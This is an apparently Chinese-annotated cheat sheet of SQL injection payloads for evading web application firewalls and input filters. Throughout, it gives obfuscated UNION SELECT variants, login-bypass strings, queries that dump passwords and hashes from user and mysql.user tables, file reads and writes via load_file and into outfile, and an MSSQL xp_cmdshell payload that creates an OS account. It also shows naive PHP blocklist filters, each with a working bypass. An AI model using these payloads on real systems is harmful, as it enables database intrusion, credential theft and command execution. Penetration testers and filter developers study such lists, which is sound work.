z.com/index.php?page_id=-15+and+(select 1)=(Select 0xAA[..(add about 1000 "A")..])+/*!uNIOn*/+/*!SeLECt*/+1,2,3,4…

id=1/*!UnIoN*/+SeLeCT+1,2,concat(/*!table_name*/)+FrOM /*information_schema*/.tables /*!WHERE */+/*!TaBlE_ScHeMa*/+like+database()– -

?id=-725+/*!UNION*/+/*!SELECT*/+1,GrOUp_COnCaT(COLUMN_NAME),3,4,5+FROM+/*!INFORMATION_SCHEM*/.COLUMNS+WHERE+TABLE_NAME=0x41646d696e--  

***note***:"=>"左边表示会被Filtered的语句，"=>"右边表示成功Bypass的语句，左边标红的为被Filtered的关键字，右边标蓝的为替代其功能的函数或关键字

and => && 　　or => ||

union select user, password from users　　 =>　　1 || (select user from users where user_id = 1) = 'admin

1 || (select user from users where user_id = 1) = 'admin'　　=>　　1 || (select user from users limit 1) = 'admin

1 || (select user from users limit 1) = 'admin' =>　　1 || (select user from users group by user_id having user_id = 1) = 'admin'

1 || (select user from users group by user_id having user_id = 1) = 'admin' =>　1 || (select substr(group_concat(user_id),1,1) user from users )=1

1 || (select substr(group_concat(user_id),1,1) user from users) = 1 =>	1 || 1 = 1 into outfile 'result.txt'　或者  1 || substr(user,1,1) = 'a'　

1 || (select substr(group_concat(user_id),1,1) user from users) = 1 　=>　　1 || user_id is not null 或者 1 || substr(user,1,1) = 0x61

　　　或者 1 || substr(user,1,1) = unhex(61)　　//　' Filtered

1 || substr(user,1,1) = unhex(61)　　=>	1 || substr(user,1,1) = lower(conv(11,10,36))

1 || substr(user,1,1) = lower(conv(11,10,36)) =>　　1 || lpad(user,7,1)

1 || lpad(user,7,1)　　=>　　1%0b||%0blpad(user,7,1)　　// ' ' Filtered

(mod(length(trim(leading(concat(lower(conv(version()*(true+pi()),pi()*pi(),pow(pi(),pi()))),lower(conv(pi()*pi()*pi()-pi()-pi(),pi()*pi(),

pow(pi(),pi()))),lower(conv(pi()*version(),pi()*pi(),pow(pi(),pi()))),conv(version()*(true+pi()),pi()*pi(),pow(pi(),pi())),lower(conv(pi()*pi()*pi()-pi()-pi(),pi()*pi(),pow(pi(),pi()))),lower(conv(pi()*version(),pi()*pi(),pow(pi(),pi()))),lower(conv(ceil(pi()*version())+true,pi()*pi(),pow(pi(), pi()))),lower(conv(ceil((pi()+ceil(pi()))*pi()),pi()*pi(),pow(pi(),pi()))),lower(conv(ceil(pi())*ceil(pi()+pi()),pi()*pi(),pow(pi(),pi()))),conv(ceil(pi()*version()),pi()*pi(),pow(pi(),pi())),lower(conv(ceil(pi()*pi()+pi()),pi()*pi(),pow(pi(),pi()))),lower(conv(ceil(version()*version()),pi()*pi(),pow(pi(),pi()))),lower(conv(ceil(pi()*pi()+pi()),pi()*pi(),pow(pi(),pi())))))from(pass))),length(pass))

$inArray = array("'", ";", "/**/", "/UNION/", "/SELECT/", "AS ");

if (strpos($_SERVER['PHP_SELF'], "trackback") === false) {

foreach($inArray as $res) {

if(stristr($_SERVER['QUERY_STRING'], $res)) {

die("Access denied.");

}}}

Bypass: vuln.php/trackback?inject=UNI%6fN SELECT

if(isset($_SERVER['QUERY_STRING'])

&& (!stripos($_SERVER['QUERY_STRING'], "ad_click"))) {

$queryString = $_SERVER['QUERY_STRING'];

if ( stripos($queryString, '%20union%20')

OR stripos($queryString, '/*')

OR stripos($queryString, '*/union/*')

OR stripos($queryString, '+union+')

OR stripos($queryString, 'concat')) { die('Illegal Operation'); }

Bypass: vuln.php?inject=%a0UNI%6fN(SELECT'ad_click'

$val = str_replace(array("'"," ","("),"",$arrFields[$fname]); // basic defence

Bypass: vuln.php?id=1/**/union%a0select/**/1,pass,3`a`from`users`

1'and 0x61=(/*foo*/SELECT mid(pass,1,1) from users limit 1,1)and'1

1'union/*!select*/pass,load_file(0x123456789)from users-- -

foo'!=@a:=0x1 div'1a false != true 　　//auth bypass

　foo'div count(select`pass`from(users)where mid(pass,1,1)rlike lower(conv(10,pi()*pi(),pi()*pi())) )-'0

　a'in(true) and false */*!(true)union#newline select pass`alias`from users where true*/* n'1

adm' 'in' or 1='1        // auth bypass

'-(1)union(select table_name,load_file('/tmp/test'),@@version

from /*! information_schema.tables */);%00    //select union

'-'' into%a0outfile '/tmp/test   //write to file

#注释

‘ or 1=1#

‘ or 1=1/* (MySQL < 5.1)

' or 1=1;%00

' or 1=1 union select 1,2 as `

' or#newline

' /*!50000or*/1='1

' /*!or*/1='1

#前缀

+ – ~ !

‘ or –+2=- -!!!’2

#操作符：

^, =, !=, %, /, *, &, &&, |, ||, , >>, <=, <=, ,, XOR, DIV, LIKE, SOUNDS LIKE, RLIKE, REGEXP, LEAST, GREATEST, CAST, CONVERT, IS, IN, NOT, MATCH, AND, OR, BINARY, BETWEEN, ISNULL

#空格

%20 %09 %0a %0b %0c %0d %a0 /**/

‘or+(1)sounds/**/like“1“–%a0-

‘union(select(1),tabe_name,(3)from`information_schema`.`tables`)#

#有引号的字符串

SELECT ‘a’

SELECT “a”

SELECT n’a’

SELECT b’1100001′

SELECT _binary’1100001′

SELECT x’61′

#没有引号的字符串

　‘abc’ = 0×616263

　　' and substr(data,1,1) = 'a'#
　　' and substr(data,1,1) = 0x61 # 0x6162
　　' and substr(data,1,1) = unhex(61) # unhex(6162)
　　' and substr(data,1,1) = char(97 )# char(97,98)
　　' and substr(data,1,1) = 'a'#
　　' and hex(substr(data,1,1)) = 61#
　　' and ascii(substr(data,1,1)) = 97#
　　' and ord(substr(data,1,1)) = 97#
　　' and substr(data,1,1) = lower(conv(10,10,36))# 'a'

#别名

select pass as alias from users

select pass`alias alias`from users

#字型

‘ or true = ’1 # or 1=1

‘ or round(pi(),1)+true+true = version() # or 3.1+1+1 = 5.1

‘ or ’1 # or true

#操作符字型

select * from users where ‘a’='b’='c’

select * from users where (‘a’='b’)=’c’

select * from users where (false)=’c’

#认真绕过‘=’

select * from users where name = ”=”

select * from users where false = ”

select * from users where 0 = 0

select * from users where true#函数过滤器ascii (97)

load_file/*foo*/(0×616263)

#用函数构建字符串

‘abc’ = unhex(616263)

‘abc’ = char(97,98,99)

 hex(‘a’) = 61

 ascii(‘a’) = 97

 ord(‘a’) = 97

‘ABC’ = concat(conv(10,10,36),conv(11,10,36),conv(12,10,36))

#特殊字符

　　aes_encrypt(1,12) // 4鏷眥"^z譎é蒃a
　　des_encrypt(1,2) // 侴Ò/镏k
　　@@ft_boolean_syntax // + -><()~*:""&|
　　@@date_format // %Y-%m-%d
　　@@innodb_log_group_home_dir // .\

@@new: 0

@@log_bin: 1

#提取子字符串substr(‘abc’,1,1) = ‘a’

substr(‘abc’ from 1 for 1) = ‘a’

substring(‘abc’,1,1) = ‘a’

substring(‘abc’ from 1 for 1) = ‘a’

mid(‘abc’,1,1) = ‘a’

mid(‘abc’ from 1 for 1) = ‘a’

lpad(‘abc’,1,space(1)) = ‘a’

rpad(‘abc’,1,space(1)) = ‘a’

left(‘abc’,1) = ‘a’

reverse(right(reverse(‘abc’),1)) = ‘a’

insert(insert(‘abc’,1,0,space(0)),2,222,space(0)) = ‘a’

space(0) = trim(version()from(version()))

#搜索子字符串

locate(‘a’,'abc’)

position(‘a’,'abc’)

position(‘a’ IN ‘abc’)

instr(‘abc’,'a’)

substring_index(‘ab’,'b’,1)

#分割字符串

length(trim(leading ‘a’ FROM ‘abc’))

length(replace(‘abc’, ‘a’, ”))

#比较字符串

strcmp(‘a’,'a’)

mod(‘a’,'a’)

find_in_set(‘a’,'a’)

field(‘a’,'a’)

count(concat(‘a’,'a’))

#字符串长度

length()

bit_length()

char_length()

octet_length()

bit_count()

#关键字过滤

Connected keyword filtering

(0)union(select(table_name),column_name,…

0/**/union/*!50000select*/table_name`foo`/**/…

0%a0union%a0select%09group_concat(table_name)….

0′union all select all`table_name`foo from`information_schema`. `tables`

#控制流

case ‘a’ when ‘a’ then 1 [else 0] end

case when ‘a’='a’ then 1 [else 0] end

if(‘a’='a’,1,0)

ifnull(nullif(‘a’,'a’),1)

%55nion(%53elect 1,2,3)-- -

+union+distinctROW+select+
/**//*!12345UNION SELECT*//**/
/**/UNION/**//*!50000SELECT*//**/
/*!50000UniON SeLeCt*/
+#uNiOn+#sEleCt
+#1q%0AuNiOn all#qa%0A#%0AsEleCt
/*!u%6eion*/ /*!se%6cect*/
+un/**/ion+se/**/lect
uni%0bon+se%0blect
%2f**%2funion%2f**%2fselect
union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A
REVERSE(noinu)+REVERSE(tceles)
/*--*/union/*--*/select/*--*/
union (/*!/**/ SeleCT */ 1,2,3)
/*!union*/+/*!select*/
union+/*!select*/
/**//*!union*//**//*!select*//**/
/*!uNIOn*/ /*!SelECt*/
+union+distinctROW+select+
-15+(uNioN)+(sElECt)
-15+(UnI)(oN)+(SeL)(ecT)+

id=1+UnIOn/**/SeLect 1,2,3—
id=1+UNIunionON+SELselectECT 1,2,3—
id=1+/*!UnIOn*/+/*!sElEcT*/ 1,2,3—
id=1 and (select 1)=(Select 0xAA 1000 more A’s)+UnIoN+SeLeCT 1,2,3—
id=1+un/**/ion+sel/**/ect+1,2,3--
id=1+/**//*U*//*n*//*I*//*o*//*N*//*S*//*e*//*L*//*e*//*c*//*T*/1,2,3
id=1+/**/union/*&id=*/select/*&id=*/column/*&id=*/from/*&id=*/table--
id=1+/**/union/*&id=*/select/*&id=*/1,2,3--
id=-1 and (select 1)=(Select 0xAA*1000) /*!UNION*/ /*!SELECT*//**/1,2,3,4,5,6—x

/**/union/*&id=*/select/*&id=*/column/*&id=*/from/*&id=*/table--
/*!union*/+/*!select*/+1,2,3—
/*!UnIOn*//*!SeLect*/+1,2,3—
un/**/ion+sel/**/ect+1,2,3—
/**//*U*//*n*//*I*//*o*//*N*//*S*//*e*//*L*//*e*//*c*//*T*/1,2,3—
ID=66+UnIoN+aLL+SeLeCt+1,2,3,4,5,6,7,(SELECT+concat(0x3a,id,0x3a,password,0x3a)+FROM+information_schema.columns+WHERE+table_schema=0x6334706F645F666573746976616C5F636D73+AND+table_name=0x7573657273),9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30--

?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74
index.php?uid=strcmp(left((select+hash+from+users+limit+0,1),1),0x42)+123
?page_id=null%0A/**//*!50000%55nIOn*//*yoyu*/all/**/%0A/*!%53eLEct*/%0A/*nnaa*/+1,2,
?id=15+/*!UnIoN*/+/*!aLl*/+/*!SeLeCt*/+1,version(),3,4,5,6,7--
id=1/*!limit+0+union+select+concat_ws(0×3a,table_name,column_name)+from+information_schema.columns*/

id=-725+/*!UNION*/+/*!SELECT*/+1,GrOUp_COnCaT(TABLE_NAME),3,4,5+FROM+/*!INFORMATION_SCHEM*/.TABLES--
id=-725+/*!UNION*/+/*!SELECT*/+1,GrOUp_COnCaT(COLUMN_NAME),3,4,5+FROM+/*!INFORMATION_SCHEM*/.COLUMNS+WHERE+TABLE_NAME=0x41646d696e--

SELECT*FROM(test)WHERE(name)IN(_ucs2 0x01df010e004d00cf0148);
SELECT(extractvalue(0x3C613E61646D696E3C2F613E,0x2f61)) in xml way

select user from mysql.user where user = 'user' OR mid(password,1,1)=unhex('2a')
select user from mysql.user where user = 'user' OR mid(password,1,1) regexp '[*]'
select user from mysql.user where user = 'user' OR mid(password,1,1) like '*'
select user from mysql.user where user = 'user' OR mid(password,1,1) rlike '[*]'
select user from mysql.user where user = 'user' OR ord(mid(password,1,1))=42

/?id=1+union+(select'1',concat(login,hash)from+users)
/?id=(1)union(((((((select(1),hex(hash)from(users))))))))

?id=1'; /*&id=1*/ EXEC /*&id=1*/ master..xp_cmdshell /*&id=1*/ “net user lucifer UrWaFisShiT” /*&id=1*/ --
id=10 a%nd 1=0/(se%lect top 1 ta%ble_name fr%om info%rmation_schema.tables)
id=10 and 1=0/(select top 1 table_name from information_schema.tables)

id=-725+UNION+SELECT+1,GROUP_CONCAT(id,0x3a,login,0x3a,password,0x3a,email,0x3a,access_level),3,4,5+FROM+Admin--
id=-725+UNION+SELECT+1,version(),3,4,5--sp_password //使用sp_password隐藏log中的请求